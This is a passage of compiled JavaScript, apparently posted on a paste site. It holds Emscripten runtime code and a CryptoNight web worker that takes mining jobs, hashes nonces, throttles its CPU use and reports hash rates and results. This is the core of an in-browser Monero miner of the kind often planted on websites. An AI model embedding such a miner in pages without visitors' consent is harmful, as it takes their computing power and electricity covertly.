  5430.           , iov = SYSCALLS.get()
  5431.           , iovcnt = SYSCALLS.get();
  5432.         return SYSCALLS.doWritev(stream, iov, iovcnt)
  5433.     } catch (e) {
  5434.         if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError))
  5435.             abort(e);
  5436.         return -e.errno
  5437.     }
  5438. }
  5439. function ___syscall54(which, varargs) {
  5440.     SYSCALLS.varargs = varargs;
  5441.     try {
  5442.         var stream = SYSCALLS.getStreamFromFD()
  5443.           , op = SYSCALLS.get();
  5444.         switch (op) {
  5445.         case 21505:
  5446.             {
  5447.                 if (!stream.tty)
  5448.                     return -ERRNO_CODES.ENOTTY;
  5449.                 return 0
  5450.             }
  5451.             ;
  5452.         case 21506:
  5453.             {
  5454.                 if (!stream.tty)
  5455.                     return -ERRNO_CODES.ENOTTY;
  5456.                 return 0
  5457.             }
  5458.             ;
  5459.         case 21519:
  5460.             {
  5461.                 if (!stream.tty)
  5462.                     return -ERRNO_CODES.ENOTTY;
  5463.                 var argp = SYSCALLS.get();
  5464.                 HEAP32[argp >> 2] = 0;
  5465.                 return 0
  5466.             }
  5467.             ;
  5468.         case 21520:
  5469.             {
  5470.                 if (!stream.tty)
  5471.                     return -ERRNO_CODES.ENOTTY;
  5472.                 return -ERRNO_CODES.EINVAL
  5473.             }
  5474.             ;
  5475.         case 21531:
  5476.             {
  5477.                 var argp = SYSCALLS.get();
  5478.                 return FS.ioctl(stream, op, argp)
  5479.             }
  5480.             ;
  5481.         case 21523:
  5482.             {
  5483.                 if (!stream.tty)
  5484.                     return -ERRNO_CODES.ENOTTY;
  5485.                 return 0
  5486.             }
  5487.             ;
  5488.         default:
  5489.             abort("bad ioctl syscall " + op)
  5490.         }
  5491.     } catch (e) {
  5492.         if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError))
  5493.             abort(e);
  5494.         return -e.errno
  5495.     }
  5496. }
  5497. FS.staticInit();
  5498. __ATINIT__.unshift((function() {
  5499.     if (!Module["noFSInit"] && !FS.init.initialized)
  5500.         FS.init()
  5501. }
  5502. ));
  5503. __ATMAIN__.push((function() {
  5504.     FS.ignorePermissions = false
  5505. }
  5506. ));
  5507. __ATEXIT__.push((function() {
  5508.     FS.quit()
  5509. }
  5510. ));
  5511. Module["FS_createFolder"] = FS.createFolder;
  5512. Module["FS_createPath"] = FS.createPath;
  5513. Module["FS_createDataFile"] = FS.createDataFile;
  5514. Module["FS_createPreloadedFile"] = FS.createPreloadedFile;
  5515. Module["FS_createLazyFile"] = FS.createLazyFile;
  5516. Module["FS_createLink"] = FS.createLink;
  5517. Module["FS_createDevice"] = FS.createDevice;
  5518. Module["FS_unlink"] = FS.unlink;
  5519. __ATINIT__.unshift((function() {
  5520.     TTY.init()
  5521. }
  5522. ));
  5523. __ATEXIT__.push((function() {
  5524.     TTY.shutdown()
  5525. }
  5526. ));
  5527. if (ENVIRONMENT_IS_NODE) {
  5528.     var fs = require("fs");
  5529.     var NODEJS_PATH = require("path");
  5530.     NODEFS.staticInit()
  5531. }
  5532. DYNAMICTOP_PTR = allocate(1, "i32", ALLOC_STATIC);
  5533. STACK_BASE = STACKTOP = Runtime.alignMemory(STATICTOP);
  5534. STACK_MAX = STACK_BASE + TOTAL_STACK;
  5535. DYNAMIC_BASE = Runtime.alignMemory(STACK_MAX);
  5536. HEAP32[DYNAMICTOP_PTR >> 2] = DYNAMIC_BASE;
  5537. staticSealed = true;
  5538. Module["wasmTableSize"] = 14;
  5539. Module["wasmMaxTableSize"] = 14;
  5540. function invoke_ii(index, a1) {
  5541.     try {
  5542.         return Module["dynCall_ii"](index, a1)
  5543.     } catch (e) {
  5544.         if (typeof e !== "number" && e !== "longjmp")
  5545.             throw e;
  5546.         Module["setThrew"](1, 0)
  5547.     }
  5548. }
  5549. function invoke_iiii(index, a1, a2, a3) {
  5550.     try {
  5551.         return Module["dynCall_iiii"](index, a1, a2, a3)
  5552.     } catch (e) {
  5553.         if (typeof e !== "number" && e !== "longjmp")
  5554.             throw e;
  5555.         Module["setThrew"](1, 0)
  5556.     }
  5557. }
  5558. function invoke_viii(index, a1, a2, a3) {
  5559.     try {
  5560.         Module["dynCall_viii"](index, a1, a2, a3)
  5561.     } catch (e) {
  5562.         if (typeof e !== "number" && e !== "longjmp")
  5563.             throw e;
  5564.         Module["setThrew"](1, 0)
  5565.     }
  5566. }
  5567. Module.asmGlobalArg = {
  5568.     "Math": Math,
  5569.     "Int8Array": Int8Array,
  5570.     "Int16Array": Int16Array,
  5571.     "Int32Array": Int32Array,
  5572.     "Uint8Array": Uint8Array,
  5573.     "Uint16Array": Uint16Array,
  5574.     "Uint32Array": Uint32Array,
  5575.     "Float32Array": Float32Array,
  5576.     "Float64Array": Float64Array,
  5577.     "NaN": NaN,
  5578.     "Infinity": Infinity
  5579. };
  5580. Module.asmLibraryArg = {
  5581.     "abort": abort,
  5582.     "assert": assert,
  5583.     "enlargeMemory": enlargeMemory,
  5584.     "getTotalMemory": getTotalMemory,
  5585.     "abortOnCannotGrowMemory": abortOnCannotGrowMemory,
  5586.     "invoke_ii": invoke_ii,
  5587.     "invoke_iiii": invoke_iiii,
  5588.     "invoke_viii": invoke_viii,
  5589.     "_gmtime_r": _gmtime_r,
  5590.     "_gmtime": _gmtime,
  5591.     "___lock": ___lock,
  5592.     "___syscall6": ___syscall6,
  5593.     "___setErrNo": ___setErrNo,
  5594.     "___unlock": ___unlock,
  5595.     "_ftime": _ftime,
  5596.     "_emscripten_memcpy_big": _emscripten_memcpy_big,
  5597.     "___syscall54": ___syscall54,
  5598.     "___syscall140": ___syscall140,
  5599.     "___syscall20": ___syscall20,
  5600.     "___assert_fail": ___assert_fail,
  5601.     "___syscall146": ___syscall146,
  5602.     "DYNAMICTOP_PTR": DYNAMICTOP_PTR,
  5603.     "tempDoublePtr": tempDoublePtr,
  5604.     "ABORT": ABORT,
  5605.     "STACKTOP": STACKTOP,
  5606.     "STACK_MAX": STACK_MAX
  5607. };
  5608. var asm = Module["asm"](Module.asmGlobalArg, Module.asmLibraryArg, buffer);
  5609. Module["asm"] = asm;
  5610. var _cryptonight_hash = Module["_cryptonight_hash"] = (function() {
  5611.     return Module["asm"]["_cryptonight_hash"].apply(null, arguments)
  5612. }
  5613. );
  5614. var getTempRet0 = Module["getTempRet0"] = (function() {
  5615.     return Module["asm"]["getTempRet0"].apply(null, arguments)
  5616. }
  5617. );
  5618. var _free = Module["_free"] = (function() {
  5619.     return Module["asm"]["_free"].apply(null, arguments)
  5620. }
  5621. );
  5622. var runPostSets = Module["runPostSets"] = (function() {
  5623.     return Module["asm"]["runPostSets"].apply(null, arguments)
  5624. }
  5625. );
  5626. var setTempRet0 = Module["setTempRet0"] = (function() {
  5627.     return Module["asm"]["setTempRet0"].apply(null, arguments)
  5628. }
  5629. );
  5630. var establishStackSpace = Module["establishStackSpace"] = (function() {
  5631.     return Module["asm"]["establishStackSpace"].apply(null, arguments)
  5632. }
  5633. );
  5634. var _memmove = Module["_memmove"] = (function() {
  5635.     return Module["asm"]["_memmove"].apply(null, arguments)
  5636. }
  5637. );
  5638. var stackSave = Module["stackSave"] = (function() {
  5639.     return Module["asm"]["stackSave"].apply(null, arguments)
  5640. }
  5641. );
  5642. var _memset = Module["_memset"] = (function() {
  5643.     return Module["asm"]["_memset"].apply(null, arguments)
  5644. }
  5645. );
  5646. var _malloc = Module["_malloc"] = (function() {
  5647.     return Module["asm"]["_malloc"].apply(null, arguments)
  5648. }
  5649. );
  5650. var _cryptonight_create = Module["_cryptonight_create"] = (function() {
  5651.     return Module["asm"]["_cryptonight_create"].apply(null, arguments)
  5652. }
  5653. );
  5654. var _memcpy = Module["_memcpy"] = (function() {
  5655.     return Module["asm"]["_memcpy"].apply(null, arguments)
  5656. }
  5657. );
  5658. var _emscripten_get_global_libc = Module["_emscripten_get_global_libc"] = (function() {
  5659.     return Module["asm"]["_emscripten_get_global_libc"].apply(null, arguments)
  5660. }
  5661. );
  5662. var stackAlloc = Module["stackAlloc"] = (function() {
  5663.     return Module["asm"]["stackAlloc"].apply(null, arguments)
  5664. }
  5665. );
  5666. var setThrew = Module["setThrew"] = (function() {
  5667.     return Module["asm"]["setThrew"].apply(null, arguments)
  5668. }
  5669. );
  5670. var _sbrk = Module["_sbrk"] = (function() {
  5671.     return Module["asm"]["_sbrk"].apply(null, arguments)
  5672. }
  5673. );
  5674. var _fflush = Module["_fflush"] = (function() {
  5675.     return Module["asm"]["_fflush"].apply(null, arguments)
  5676. }
  5677. );
  5678. var stackRestore = Module["stackRestore"] = (function() {
  5679.     return Module["asm"]["stackRestore"].apply(null, arguments)
  5680. }
  5681. );
  5682. var _cryptonight_destroy = Module["_cryptonight_destroy"] = (function() {
  5683.     return Module["asm"]["_cryptonight_destroy"].apply(null, arguments)
  5684. }
  5685. );
  5686. var ___errno_location = Module["___errno_location"] = (function() {
  5687.     return Module["asm"]["___errno_location"].apply(null, arguments)
  5688. }
  5689. );
  5690. var dynCall_ii = Module["dynCall_ii"] = (function() {
  5691.     return Module["asm"]["dynCall_ii"].apply(null, arguments)
  5692. }
  5693. );
  5694. var dynCall_iiii = Module["dynCall_iiii"] = (function() {
  5695.     return Module["asm"]["dynCall_iiii"].apply(null, arguments)
  5696. }
  5697. );
  5698. var dynCall_viii = Module["dynCall_viii"] = (function() {
  5699.     return Module["asm"]["dynCall_viii"].apply(null, arguments)
  5700. }
  5701. );
  5702. Runtime.stackAlloc = Module["stackAlloc"];
  5703. Runtime.stackSave = Module["stackSave"];
  5704. Runtime.stackRestore = Module["stackRestore"];
  5705. Runtime.establishStackSpace = Module["establishStackSpace"];
  5706. Runtime.setTempRet0 = Module["setTempRet0"];
  5707. Runtime.getTempRet0 = Module["getTempRet0"];
  5708. Module["asm"] = asm;
  5709. if (memoryInitializer) {
  5710.     if (typeof Module["locateFile"] === "function") {
  5711.         memoryInitializer = Module["locateFile"](memoryInitializer)
  5712.     } else if (Module["memoryInitializerPrefixURL"]) {
  5713.         memoryInitializer = Module["memoryInitializerPrefixURL"] + memoryInitializer
  5714.     }
  5715.     if (ENVIRONMENT_IS_NODE || ENVIRONMENT_IS_SHELL) {
  5716.         var data = Module["readBinary"](memoryInitializer);
  5717.         HEAPU8.set(data, Runtime.GLOBAL_BASE)
  5718.     } else {
  5719.         addRunDependency("memory initializer");
  5720.         var applyMemoryInitializer = (function(data) {
  5721.             if (data.byteLength)
  5722.                 data = new Uint8Array(data);
  5723.             HEAPU8.set(data, Runtime.GLOBAL_BASE);
  5724.             if (Module["memoryInitializerRequest"])
  5725.                 delete Module["memoryInitializerRequest"].response;
  5726.             removeRunDependency("memory initializer")
  5727.         }
  5728.         );
  5729.         function doBrowserLoad() {
  5730.             Module["readAsync"](memoryInitializer, applyMemoryInitializer, (function() {
  5731.                 throw "could not load memory initializer " + memoryInitializer
  5732.             }
  5733.             ))
  5734.         }
  5735.         if (Module["memoryInitializerRequest"]) {
  5736.             function useRequest() {
  5737.                 var request = Module["memoryInitializerRequest"];
  5738.                 if (request.status !== 200 && request.status !== 0) {
  5739.                     console.warn("a problem seems to have happened with Module.memoryInitializerRequest, status: " + request.status + ", retrying " + memoryInitializer);
  5740.                     doBrowserLoad();
  5741.                     return
  5742.                 }
  5743.                 applyMemoryInitializer(request.response)
  5744.             }
  5745.             if (Module["memoryInitializerRequest"].response) {
  5746.                 setTimeout(useRequest, 0)
  5747.             } else {
  5748.                 Module["memoryInitializerRequest"].addEventListener("load", useRequest)
  5749.             }
  5750.         } else {
  5751.             doBrowserLoad()
  5752.         }
  5753.     }
  5754. }
  5755. function ExitStatus(status) {
  5756.     this.name = "ExitStatus";
  5757.     this.message = "Program terminated with exit(" + status + ")";
  5758.     this.status = status
  5759. }
  5760. ExitStatus.prototype = new Error;
  5761. ExitStatus.prototype.constructor = ExitStatus;
  5762. var initialStackTop;
  5763. var preloadStartTime = null;
  5764. var calledMain = false;
  5765. dependenciesFulfilled = function runCaller() {
  5766.     if (!Module["calledRun"])
  5767.         run();
  5768.     if (!Module["calledRun"])
  5769.         dependenciesFulfilled = runCaller
  5770. }
  5771. ;
  5772. Module["callMain"] = Module.callMain = function callMain(args) {
  5773.     args = args || [];
  5774.     ensureInitRuntime();
  5775.     var argc = args.length + 1;
  5776.     function pad() {
  5777.         for (var i = 0; i < 4 - 1; i++) {
  5778.             argv.push(0)
  5779.         }
  5780.     }
  5781.     var argv = [allocate(intArrayFromString(Module["thisProgram"]), "i8", ALLOC_NORMAL)];
  5782.     pad();
  5783.     for (var i = 0; i < argc - 1; i = i + 1) {
  5784.         argv.push(allocate(intArrayFromString(args[i]), "i8", ALLOC_NORMAL));
  5785.         pad()
  5786.     }
  5787.     argv.push(0);
  5788.     argv = allocate(argv, "i32", ALLOC_NORMAL);
  5789.     try {
  5790.         var ret = Module["_main"](argc, argv, 0);
  5791.         exit(ret, true)
  5792.     } catch (e) {
  5793.         if (e instanceof ExitStatus) {
  5794.             return
  5795.         } else if (e == "SimulateInfiniteLoop") {
  5796.             Module["noExitRuntime"] = true;
  5797.             return
  5798.         } else {
  5799.             var toLog = e;
  5800.             if (e && typeof e === "object" && e.stack) {
  5801.                 toLog = [e, e.stack]
  5802.             }
  5803.             Module.printErr("exception thrown: " + toLog);
  5804.             Module["quit"](1, e)
  5805.         }
  5806.     } finally {
  5807.         calledMain = true
  5808.     }
  5809. }
  5810. ;
  5811. function run(args) {
  5812.     args = args || Module["arguments"];
  5813.     if (preloadStartTime === null)
  5814.         preloadStartTime = Date.now();
  5815.     if (runDependencies > 0) {
  5816.         return
  5817.     }
  5818.     preRun();
  5819.     if (runDependencies > 0)
  5820.         return;
  5821.     if (Module["calledRun"])
  5822.         return;
  5823.     function doRun() {
  5824.         if (Module["calledRun"])
  5825.             return;
  5826.         Module["calledRun"] = true;
  5827.         if (ABORT)
  5828.             return;
  5829.         ensureInitRuntime();
  5830.         preMain();
  5831.         if (Module["onRuntimeInitialized"])
  5832.             Module["onRuntimeInitialized"]();
  5833.         if (Module["_main"] && shouldRunNow)
  5834.             Module["callMain"](args);
  5835.         postRun()
  5836.     }
  5837.     if (Module["setStatus"]) {
  5838.         Module["setStatus"]("Running...");
  5839.         setTimeout((function() {
  5840.             setTimeout((function() {
  5841.                 Module["setStatus"]("")
  5842.             }
  5843.             ), 1);
  5844.             doRun()
  5845.         }
  5846.         ), 1)
  5847.     } else {
  5848.         doRun()
  5849.     }
  5850. }
  5851. Module["run"] = Module.run = run;
  5852. function exit(status, implicit) {
  5853.     if (implicit && Module["noExitRuntime"]) {
  5854.         return
  5855.     }
  5856.     if (Module["noExitRuntime"]) {} else {
  5857.         ABORT = true;
  5858.         EXITSTATUS = status;
  5859.         STACKTOP = initialStackTop;
  5860.         exitRuntime();
  5861.         if (Module["onExit"])
  5862.             Module["onExit"](status)
  5863.     }
  5864.     if (ENVIRONMENT_IS_NODE) {
  5865.         process["exit"](status)
  5866.     }
  5867.     Module["quit"](status, new ExitStatus(status))
  5868. }
  5869. Module["exit"] = Module.exit = exit;
  5870. var abortDecorators = [];
  5871. function abort(what) {
  5872.     if (Module["onAbort"]) {
  5873.         Module["onAbort"](what)
  5874.     }
  5875.     if (what !== undefined) {
  5876.         Module.print(what);
  5877.         Module.printErr(what);
  5878.         what = JSON.stringify(what)
  5879.     } else {
  5880.         what = ""
  5881.     }
  5882.     ABORT = true;
  5883.     EXITSTATUS = 1;
  5884.     var extra = "\nIf this abort() is unexpected, build with -s ASSERTIONS=1 which can give more information.";
  5885.     var output = "abort(" + what + ") at " + stackTrace() + extra;
  5886.     if (abortDecorators) {
  5887.         abortDecorators.forEach((function(decorator) {
  5888.             output = decorator(output, what)
  5889.         }
  5890.         ))
  5891.     }
  5892.     throw output
  5893. }
  5894. Module["abort"] = Module.abort = abort;
  5895. if (Module["preInit"]) {
  5896.     if (typeof Module["preInit"] == "function")
  5897.         Module["preInit"] = [Module["preInit"]];
  5898.     while (Module["preInit"].length > 0) {
  5899.         Module["preInit"].pop()()
  5900.     }
  5901. }
  5902. var shouldRunNow = true;
  5903. if (Module["noInitialRun"]) {
  5904.     shouldRunNow = false
  5905. }
  5906. run();
  5907. var CryptonightWASMWrapper = (function() {
  5908.     this.ctx = _cryptonight_create();
  5909.     this.throttleWait = 0;
  5910.     this.throttledStart = 0;
  5911.     this.throttledHashes = 0;
  5912.     this.workThrottledBound = this.workThrottled.bind(this);
  5913.     this.currentJob = null;
  5914.     this.target = new Uint8Array([255, 255, 255, 255, 255, 255, 255, 255]);
  5915.     var heap = Module.HEAPU8.buffer;
  5916.     this.input = new Uint8Array(heap,Module._malloc(84),84);
  5917.     this.output = new Uint8Array(heap,Module._malloc(32),32);
  5918.     self.postMessage("ready");
  5919.     self.onmessage = this.onMessage.bind(this)
  5920. }
  5921. );
  5922. CryptonightWASMWrapper.prototype.onMessage = (function(msg) {
  5923.     var job = msg.data;
  5924.     if (job.verify_id) {
  5925.         this.verify(job);
  5926.         return
  5927.     }
  5928.     if (!this.currentJob || this.currentJob.job_id !== job.job_id) {
  5929.         this.setJob(job)
  5930.     }
  5931.     if (job.throttle) {
  5932.         this.throttleWait = 1 / (1 - job.throttle) - 1;
  5933.         this.throttledStart = this.now();
  5934.         this.throttledHashes = 0;
  5935.         this.workThrottled()
  5936.     } else {
  5937.         this.work()
  5938.     }
  5939. }
  5940. );
  5941. CryptonightWASMWrapper.prototype.destroy = (function() {
  5942.     _cryptonight_destroy(this.ctx)
  5943. }
  5944. );
  5945. CryptonightWASMWrapper.prototype.hexToBytes = (function(hex, bytes) {
  5946.     var bytes = new Uint8Array(hex.length / 2);
  5947.     for (var i = 0, c = 0; c < hex.length; c += 2,
  5948.     i++) {
  5949.         bytes[i] = parseInt(hex.substr(c, 2), 16)
  5950.     }
  5951.     return bytes
  5952. }
  5953. );
  5954. CryptonightWASMWrapper.prototype.bytesToHex = (function(bytes) {
  5955.     for (var hex = "", i = 0; i < bytes.length; i++) {
  5956.         hex += (bytes[i] >>> 4).toString(16);
  5957.         hex += (bytes[i] & 15).toString(16)
  5958.     }
  5959.     return hex
  5960. }
  5961. );
  5962. CryptonightWASMWrapper.prototype.meetsTarget = (function(hash, target) {
  5963.     for (var i = 0; i < target.length; i++) {
  5964.         var hi = hash.length - i - 1
  5965.           , ti = target.length - i - 1;
  5966.         if (hash[hi] > target[ti]) {
  5967.             return false
  5968.         } else if (hash[hi] < target[ti]) {
  5969.             return true
  5970.         }
  5971.     }
  5972.     return false
  5973. }
  5974. );
  5975. CryptonightWASMWrapper.prototype.setJob = (function(job) {
  5976.     this.currentJob = job;
  5977.     this.blob = this.hexToBytes(job.blob);
  5978.     this.input.set(this.blob);
  5979.     var target = this.hexToBytes(job.target);
  5980.     if (target.length <= 8) {
  5981.         for (var i = 0; i < target.length; i++) {
  5982.             this.target[this.target.length - i - 1] = target[target.length - i - 1]
  5983.         }
  5984.         for (var i = 0; i < this.target.length - target.length; i++) {
  5985.             this.target[i] = 255
  5986.         }
  5987.     } else {
  5988.         this.target = target
  5989.     }
  5990. }
  5991. );
  5992. CryptonightWASMWrapper.prototype.now = (function() {
  5993.     return self.performance ? self.performance.now() : Date.now()
  5994. }
  5995. );
  5996. CryptonightWASMWrapper.prototype.hash = (function(input, output, length) {
  5997.     var nonce = Math.random() * 4294967295 + 1 >>> 0;
  5998.     this.input[39] = (nonce & 4278190080) >> 24;
  5999.     this.input[40] = (nonce & 16711680) >> 16;
  6000.     this.input[41] = (nonce & 65280) >> 8;
  6001.     this.input[42] = (nonce & 255) >> 0;
  6002.     _cryptonight_hash(this.ctx, input.byteOffset, output.byteOffset, length)
  6003. }
  6004. );
  6005. CryptonightWASMWrapper.prototype.verify = (function(job) {
  6006.     this.blob = this.hexToBytes(job.blob);
  6007.     this.input.set(this.blob);
  6008.     for (var i = 0, c = 0; c < job.nonce.length; c += 2,
  6009.     i++) {
  6010.         this.input[39 + i] = parseInt(job.nonce.substr(c, 2), 16)
  6011.     }
  6012.     _cryptonight_hash(this.ctx, this.input.byteOffset, this.output.byteOffset, this.blob.length);
  6013.     var result = this.bytesToHex(this.output);
  6014.     self.postMessage({
  6015.         verify_id: job.verify_id,
  6016.         verified: result === job.result
  6017.     })
  6018. }
  6019. );
  6020. CryptonightWASMWrapper.prototype.work = (function() {
  6021.     var hashes = 0;
  6022.     var meetsTarget = false;
  6023.     var start = this.now();
  6024.     var elapsed = 0;
  6025.     do {
  6026.         this.hash(this.input, this.output, this.blob.length);
  6027.         hashes++;
  6028.         meetsTarget = this.meetsTarget(this.output, this.target);
  6029.         elapsed = this.now() - start
  6030.     } while (!meetsTarget && elapsed < 1e3);var hashesPerSecond = hashes / (elapsed / 1e3);
  6031.     if (meetsTarget) {
  6032.         var nonceHex = this.bytesToHex(this.input.subarray(39, 43));
  6033.         var resultHex = this.bytesToHex(this.output);
  6034.         self.postMessage({
  6035.             hashesPerSecond: hashesPerSecond,
  6036.             hashes: hashes,
  6037.             job_id: this.currentJob.job_id,
  6038.             nonce: nonceHex,
  6039.             result: resultHex
  6040.         })
  6041.     } else {
  6042.         self.postMessage({
  6043.             hashesPerSecond: hashesPerSecond,
  6044.             hashes: hashes
  6045.         })
  6046.     }
  6047. }
  6048. );
  6049. CryptonightWASMWrapper.prototype.workThrottled = (function() {
  6050.     var start = this.now();
  6051.     this.hash(this.input, this.output, this.blob.length);
  6052.     var end = this.now();
  6053.     var timePerHash = end - start;
  6054.     this.throttledHashes++;
  6055.     var elapsed = end - this.throttledStart;
  6056.     var hashesPerSecond = this.throttledHashes / (elapsed / 1e3);
  6057.     if (this.meetsTarget(this.output, this.target)) {
  6058.         var nonceHex = this.bytesToHex(this.input.subarray(39, 43));
  6059.         var resultHex = this.bytesToHex(this.output);
  6060.         self.postMessage({
  6061.             hashesPerSecond: hashesPerSecond,
  6062.             hashes: this.throttledHashes,
  6063.             job_id: this.currentJob.job_id,
  6064.             nonce: nonceHex,
  6065.             result: resultHex
  6066.         });
  6067.         this.throttledHashes = 0
  6068.     } else if (elapsed > 1e3) {
  6069.         self.postMessage({
  6070.             hashesPerSecond: hashesPerSecond,
  6071.             hashes: this.throttledHashes
  6072.         });
  6073.         this.throttledHashes = 0
  6074.     } else {
  6075.         setTimeout(this.workThrottledBound, timePerHash * this.throttleWait)
  6076.     }
  6077. }
  6078. );
  6079. Module["onRuntimeInitialized"] = (function() {
  6080.     var cryptonight = new CryptonightWASMWrapper
  6081. }
  6082. )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement